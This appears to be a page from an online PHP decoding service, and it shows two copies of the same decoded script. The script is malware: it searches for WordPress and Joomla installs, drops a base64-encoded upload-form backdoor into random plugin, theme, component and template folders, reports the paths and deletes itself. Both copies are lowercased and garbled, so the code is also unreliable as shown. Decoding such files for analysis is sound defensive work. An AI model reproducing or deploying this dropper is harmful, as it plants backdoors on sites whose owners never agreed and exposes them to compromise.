Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function myfilename() { $str = <<<eod script_filename eod; return $_server[$str]; } ..
Decoded Output download
<?php function myfilename() { $str = <<<eod script_filename eod; return $_server[$str]; } function killme() { unlink(myfilename()); } function mjrbixlhwbftbj() { $s = myfilename(); $p = strrpos($s, chr(0x2f) ); return $p ? substr($s, 0, $p) . chr(0x2f) : trim(chr(0x20)); } function makemsg($pcode, $pmsg) { $str_dtilde = chr(0x7e) . chr(0x7e); $r = trim( chr(0x20) ); $r .= $str_dtilde; $r .= chr(0x38) . chr(0x39) . chr(0x38); $r .= $str_dtilde; $r .= $pcode; $r .= $str_dtilde; $r .= $pmsg; $r .= $str_dtilde; $r .= chr(0x31) . chr(0x31) . chr(0x39); $r .= $str_dtilde; return $r; } function bd8kcypaq($pmsg) { killme(); echo makemsg(chr(0x30), $pmsg); die(); } function zfmizn82ad($ppath) { killme(); echo makemsg(chr(0x31), $ppath); die(); } function finishok_near($ppath) { killme(); echomakemsg(chr(0x32), $ppath); die(); } function kefvweq1zfoj2y($ppath) { killme(); echo makemsg(chr(0x33), $ppath); die(); } function ytfwuhu($pdir) { $p = strrpos($pdir, chr(0x2f), -2); return $p ? substr($pdir, 0, $p) . chr(0x2f) : trim(chr(0x20)); } function juvpqskapn31kk($pdir) { if (!@is_dir($pdir)) return 0; $h= @opendir( $pdir ); if ($h === false) return 0; $sd = @readdir($h); closedir($h); return $sd !== false; } function gwckugoqcojjfmew($pdir) { $tmp_str_wp_content = <<<eod wp-content eod; $d = 0; $cur = $pdir; while($d < 30) { if (@is_dir($cur . $tmp_str_wp_content)) return $cur; $try = ytfwuhu($cur); if ($try == trim(chr(0x20)) || !juvpqskapn31kk($try)) break; $d ++; $cur = $try; } return null; } function crkvn7ofxr3wz($pdir) { $s1 = <<<eod administrator eod; $s2 = <<<eodcomponents eod; $s3 = <<<eod modules eod; $d = 0; $cur = $pdir; while($d < 30) { if ( @is_dir($cur . $s1) && @is_dir($cur . $s2) && @is_dir($cur . $s3) ) return $cur; $try = ytfwuhu($cur); if ($try == trim(chr(0x20)) || !juvpqskapn31kk($try)) break; $d ++; $cur = $try; } return null; } function sovgbovu($pabsfn, $pdata) { $tmp_str_wb = <<<eod wp-content eod; $f = @fopen($pabsfn, $tmp_str_wb); if (!$f) return 0; $r = fwrite($f, $pdata); fclose($f); return $r !== false; } function a47o3fxyctxcmhz($pbasepath, &$parret, &$parignlist) { $h = @opendir( $pbasepath ); if (!$h) return; $str_double_dot = chr(0x2e) . chr(0x2e); $num_ign =count($parignlist); while( true == ($sd = @readdir($h)) ) { if ($sd == chr(0x2e) || $sd == $str_double_dot ) continue; $f = $pbasepath . $sd; if (@is_link($f)|| !@is_dir($f)) continue; $is_ign = 0; for ($x = 0; $x < $num_ign; $x ++ ) { if (strpos($f, $parignlist[$x]) !== false) { $is_ign = 1; break; } } if ($is_ign) continue; $f .= chr(0x2f); $parret[] = $f; } @closedir($h); } function ecwuhsn3jb(&$pdirs) { for ($x = 0; $x < 20; $x ++ ) { $ind = rand() % count($pdirs); if ( file_exists( $pdirs[$ind] ) ) return $ind; } return -1; } $gjuice = <<<eod pgh0bww+cjxozwfkpjxtzxrhigh0dhatzxf1axy9iknvbnrlbnqtvhlwzsigy29udgvudd0idgv4dc9odg1soybjagfyc2v0pxdpbmrvd3mtdxrmltgipjx0axrszt5kq2dwnuddulznvzwvdgl0bgu+pc9ozwfkpiakpgjvzhk+cjw/cghwcnbyaw50icc8ade+i3bajgnaizwvade+jzskzwnobyairdawrdogijsgicakzwnobyakx1nfulzfulsnukvnt1rfx0ferfinxtskzwnobyaipgzvcm0gbwv0ag9kpvwicg9zdfwiigvuy3r5cgu9xcjtdwx0axbhcnqvzm9ybs1kyxrhxci+xg4iowply2hvici8aw5wdxqgdhlwzt1cinn1ym1pdfwiihzhbhvlpvwite9brfwipjxicj5cbii7cmvjag8gijxpbnb1dcb0exblpvwizmlszvwiig5hbwu9xcjmawxlbmftzvwipjxicj4gxg4iowply2hvici8l2zvcm0+xg4ioyavkl8qlwokawygkcbaaxnfdxbsb2fkzwrfzmlszsggjf9gsuxfu1sizmlszw5hbwuixvsidg1wx25hbwuixsapkqp7cgkvkl8qlwojbw92zv91cgxvywrlzf9mawxlkcrfrklmrvnbimzpbgvuyw1lil1binrtcf9uyw1lil0sicagicakx0zjtevtwyjmawxlbmftzsjdwyjuyw1lil0powojiaojjgzpbgugpsakx0zjtevtwyjmawxlbmftzsjdwyjuyw1lil07ic8qxyovcglly2hvici8ysbocmvmpvwijgzpbgvcij4kzmlsztwvyt4iowojlypfki8kfqplbhnlcnskcsakcwvjag8oimvtchr5iik7cgkgcn0kicakjhzhcjegpsakx1nfulzfulsnu0nssvbux0zjtevoqu1fj107ci8qxyovcnrvdwnokcakdmfymsapowo/pgo8l2jvzhk+cjwvahrtbd4gcg== eod; $gjuice = base64_decode($gjuice); $gname = <<<eod bgljzw5zzs5waha= eod; $gname = base64_decode($gname); $gstrdirthemes = <<<eod wp-content/themes/ eod; $gstrdirplugins = <<<eod wp-content/plugins/ eod; $gstrdirjoocomp = <<<eod components/ eod; $gstrdirjootemp = <<<eod templates/ eod; $gignlistwp = <<<eod akismet eod;$gignlistjoo = <<<eod images,shortcodes eod; $gignlistwp = explode(chr(0x2c), $gignlistwp); $gignlistjoo = explode(chr(0x2c), $gignlistjoo); $fff = trim(chr(0x20)); $wp_root = gwckugoqcojjfmew( mjrbixlhwbftbj() ); $j_root = crkvn7ofxr3wz( mjrbixlhwbftbj() ); $is_failed_in_wp = 0; $is_failed_in_j = 0; if ($wp_root) {$dir_themes = $wp_root . $gstrdirthemes; $dir_plugs = $wp_root . $gstrdirplugins; $dirs = array(); a47o3fxyctxcmhz($dir_plugs, $dirs, $gignlistwp); a47o3fxyctxcmhz($dir_themes, $dirs, $gignlistwp); while ( 1) { $num_dirs = count($dirs); if ($num_dirs < 1) break; $ii = ecwuhsn3jb($dirs); if ($ii == -1) break; $fff = $dirs[$ii] . $gname; if ( sovgbovu($fff, $gjuice) ) zfmizn82ad($fff); $is_failed_in_wp = 1; array_splice($dirs, $ii, 1); } } if ($j_root) { $dir_choice_base = array(); $dir_choice_fin = array(); a47o3fxyctxcmhz($j_root . $gstrdirjoocomp, $dir_choice_base, $gignlistjoo); a47o3fxyctxcmhz($j_root . $gstrdirjootemp, $dir_choice_base, $gignlistjoo); foreach($dir_choice_base as $p) { a47o3fxyctxcmhz($p, $dir_choice_fin, $gignlistjoo); } while ( 1) { $num_dirs = count($dir_choice_fin); if ($num_dirs < 1) break; $ii = ecwuhsn3jb($dir_choice_fin); if ($ii == -1) break; $fff = $dir_choice_fin[$ii] . $gname; if ( sovgbovu($fff, $gjuice) ) kefvweq1zfoj2y($fff); $is_failed_in_j = 1; array_splice($dirs, $ii, 1); } } $gstrfailsave1 = <<<eod failed to save wp & near eod; $gstrfailsave2 = <<<eod failed to save near eod; $fff = mjrbixlhwbftbj() . $gname; if ( sovgbovu($fff, $gjuice) ) finishok_near($fff); if ($is_failed_in_wp) bd8kcypaq($gstrfailsave1); bd8kcypaq($gstrfailsave2) ?>
Did this file decode correctly?
Original Code
<?php function myfilename() { $str = <<<eod script_filename eod; return $_server[$str]; } function killme() { unlink(myfilename()); } function mjrbixlhwbftbj() { $s = myfilename(); $p = strrpos($s, chr(0x2f) ); return $p ? substr($s, 0, $p) . chr(0x2f) : trim(chr(0x20)); } function makemsg($pcode, $pmsg) { $str_dtilde = chr(0x7e) . chr(0x7e); $r = trim( chr(0x20) ); $r .= $str_dtilde; $r .= chr(0x38) . chr(0x39) . chr(0x38); $r .= $str_dtilde; $r .= $pcode; $r .= $str_dtilde; $r .= $pmsg; $r .= $str_dtilde; $r .= chr(0x31) . chr(0x31) . chr(0x39); $r .= $str_dtilde; return $r; } function bd8kcypaq($pmsg) { killme(); echo makemsg(chr(0x30), $pmsg); die(); } function zfmizn82ad($ppath) { killme(); echo makemsg(chr(0x31), $ppath); die(); } function finishok_near($ppath) { killme(); echomakemsg(chr(0x32), $ppath); die(); } function kefvweq1zfoj2y($ppath) { killme(); echo makemsg(chr(0x33), $ppath); die(); } function ytfwuhu($pdir) { $p = strrpos($pdir, chr(0x2f), -2); return $p ? substr($pdir, 0, $p) . chr(0x2f) : trim(chr(0x20)); } function juvpqskapn31kk($pdir) { if (!@is_dir($pdir)) return 0; $h= @opendir( $pdir ); if ($h === false) return 0; $sd = @readdir($h); closedir($h); return $sd !== false; } function gwckugoqcojjfmew($pdir) { $tmp_str_wp_content = <<<eod wp-content eod; $d = 0; $cur = $pdir; while($d < 30) { if (@is_dir($cur . $tmp_str_wp_content)) return $cur; $try = ytfwuhu($cur); if ($try == trim(chr(0x20)) || !juvpqskapn31kk($try)) break; $d ++; $cur = $try; } return null; } function crkvn7ofxr3wz($pdir) { $s1 = <<<eod administrator eod; $s2 = <<<eodcomponents eod; $s3 = <<<eod modules eod; $d = 0; $cur = $pdir; while($d < 30) { if ( @is_dir($cur . $s1) && @is_dir($cur . $s2) && @is_dir($cur . $s3) ) return $cur; $try = ytfwuhu($cur); if ($try == trim(chr(0x20)) || !juvpqskapn31kk($try)) break; $d ++; $cur = $try; } return null; } function sovgbovu($pabsfn, $pdata) { $tmp_str_wb = <<<eod wp-content eod; $f = @fopen($pabsfn, $tmp_str_wb); if (!$f) return 0; $r = fwrite($f, $pdata); fclose($f); return $r !== false; } function a47o3fxyctxcmhz($pbasepath, &$parret, &$parignlist) { $h = @opendir( $pbasepath ); if (!$h) return; $str_double_dot = chr(0x2e) . chr(0x2e); $num_ign =count($parignlist); while( true == ($sd = @readdir($h)) ) { if ($sd == chr(0x2e) || $sd == $str_double_dot ) continue; $f = $pbasepath . $sd; if (@is_link($f)|| !@is_dir($f)) continue; $is_ign = 0; for ($x = 0; $x < $num_ign; $x ++ ) { if (strpos($f, $parignlist[$x]) !== false) { $is_ign = 1; break; } } if ($is_ign) continue; $f .= chr(0x2f); $parret[] = $f; } @closedir($h); } function ecwuhsn3jb(&$pdirs) { for ($x = 0; $x < 20; $x ++ ) { $ind = rand() % count($pdirs); if ( file_exists( $pdirs[$ind] ) ) return $ind; } return -1; } $gjuice = <<<eod pgh0bww+cjxozwfkpjxtzxrhigh0dhatzxf1axy9iknvbnrlbnqtvhlwzsigy29udgvudd0idgv4dc9odg1soybjagfyc2v0pxdpbmrvd3mtdxrmltgipjx0axrszt5kq2dwnuddulznvzwvdgl0bgu+pc9ozwfkpiakpgjvzhk+cjw/cghwcnbyaw50icc8ade+i3bajgnaizwvade+jzskzwnobyairdawrdogijsgicakzwnobyakx1nfulzfulsnukvnt1rfx0ferfinxtskzwnobyaipgzvcm0gbwv0ag9kpvwicg9zdfwiigvuy3r5cgu9xcjtdwx0axbhcnqvzm9ybs1kyxrhxci+xg4iowply2hvici8aw5wdxqgdhlwzt1cinn1ym1pdfwiihzhbhvlpvwite9brfwipjxicj5cbii7cmvjag8gijxpbnb1dcb0exblpvwizmlszvwiig5hbwu9xcjmawxlbmftzvwipjxicj4gxg4iowply2hvici8l2zvcm0+xg4ioyavkl8qlwokawygkcbaaxnfdxbsb2fkzwrfzmlszsggjf9gsuxfu1sizmlszw5hbwuixvsidg1wx25hbwuixsapkqp7cgkvkl8qlwojbw92zv91cgxvywrlzf9mawxlkcrfrklmrvnbimzpbgvuyw1lil1binrtcf9uyw1lil0sicagicakx0zjtevtwyjmawxlbmftzsjdwyjuyw1lil0powojiaojjgzpbgugpsakx0zjtevtwyjmawxlbmftzsjdwyjuyw1lil07ic8qxyovcglly2hvici8ysbocmvmpvwijgzpbgvcij4kzmlsztwvyt4iowojlypfki8kfqplbhnlcnskcsakcwvjag8oimvtchr5iik7cgkgcn0kicakjhzhcjegpsakx1nfulzfulsnu0nssvbux0zjtevoqu1fj107ci8qxyovcnrvdwnokcakdmfymsapowo/pgo8l2jvzhk+cjwvahrtbd4gcg== eod; $gjuice = base64_decode($gjuice); $gname = <<<eod bgljzw5zzs5waha= eod; $gname = base64_decode($gname); $gstrdirthemes = <<<eod wp-content/themes/ eod; $gstrdirplugins = <<<eod wp-content/plugins/ eod; $gstrdirjoocomp = <<<eod components/ eod; $gstrdirjootemp = <<<eod templates/ eod; $gignlistwp = <<<eod akismet eod;$gignlistjoo = <<<eod images,shortcodes eod; $gignlistwp = explode(chr(0x2c), $gignlistwp); $gignlistjoo = explode(chr(0x2c), $gignlistjoo); $fff = trim(chr(0x20)); $wp_root = gwckugoqcojjfmew( mjrbixlhwbftbj() ); $j_root = crkvn7ofxr3wz( mjrbixlhwbftbj() ); $is_failed_in_wp = 0; $is_failed_in_j = 0; if ($wp_root) {$dir_themes = $wp_root . $gstrdirthemes; $dir_plugs = $wp_root . $gstrdirplugins; $dirs = array(); a47o3fxyctxcmhz($dir_plugs, $dirs, $gignlistwp); a47o3fxyctxcmhz($dir_themes, $dirs, $gignlistwp); while ( 1) { $num_dirs = count($dirs); if ($num_dirs < 1) break; $ii = ecwuhsn3jb($dirs); if ($ii == -1) break; $fff = $dirs[$ii] . $gname; if ( sovgbovu($fff, $gjuice) ) zfmizn82ad($fff); $is_failed_in_wp = 1; array_splice($dirs, $ii, 1); } } if ($j_root) { $dir_choice_base = array(); $dir_choice_fin = array(); a47o3fxyctxcmhz($j_root . $gstrdirjoocomp, $dir_choice_base, $gignlistjoo); a47o3fxyctxcmhz($j_root . $gstrdirjootemp, $dir_choice_base, $gignlistjoo); foreach($dir_choice_base as $p) { a47o3fxyctxcmhz($p, $dir_choice_fin, $gignlistjoo); } while ( 1) { $num_dirs = count($dir_choice_fin); if ($num_dirs < 1) break; $ii = ecwuhsn3jb($dir_choice_fin); if ($ii == -1) break; $fff = $dir_choice_fin[$ii] . $gname; if ( sovgbovu($fff, $gjuice) ) kefvweq1zfoj2y($fff); $is_failed_in_j = 1; array_splice($dirs, $ii, 1); } } $gstrfailsave1 = <<<eod failed to save wp & near eod; $gstrfailsave2 = <<<eod failed to save near eod; $fff = mjrbixlhwbftbj() . $gname; if ( sovgbovu($fff, $gjuice) ) finishok_near($fff); if ($is_failed_in_wp) bd8kcypaq($gstrfailsave1); bd8kcypaq($gstrfailsave2) ?>
Function Calls
| None |
Stats
| MD5 | 21328356cb81de5a64d73dea4290f101 |
| Eval Count | 0 |
| Decode Time | 93 ms |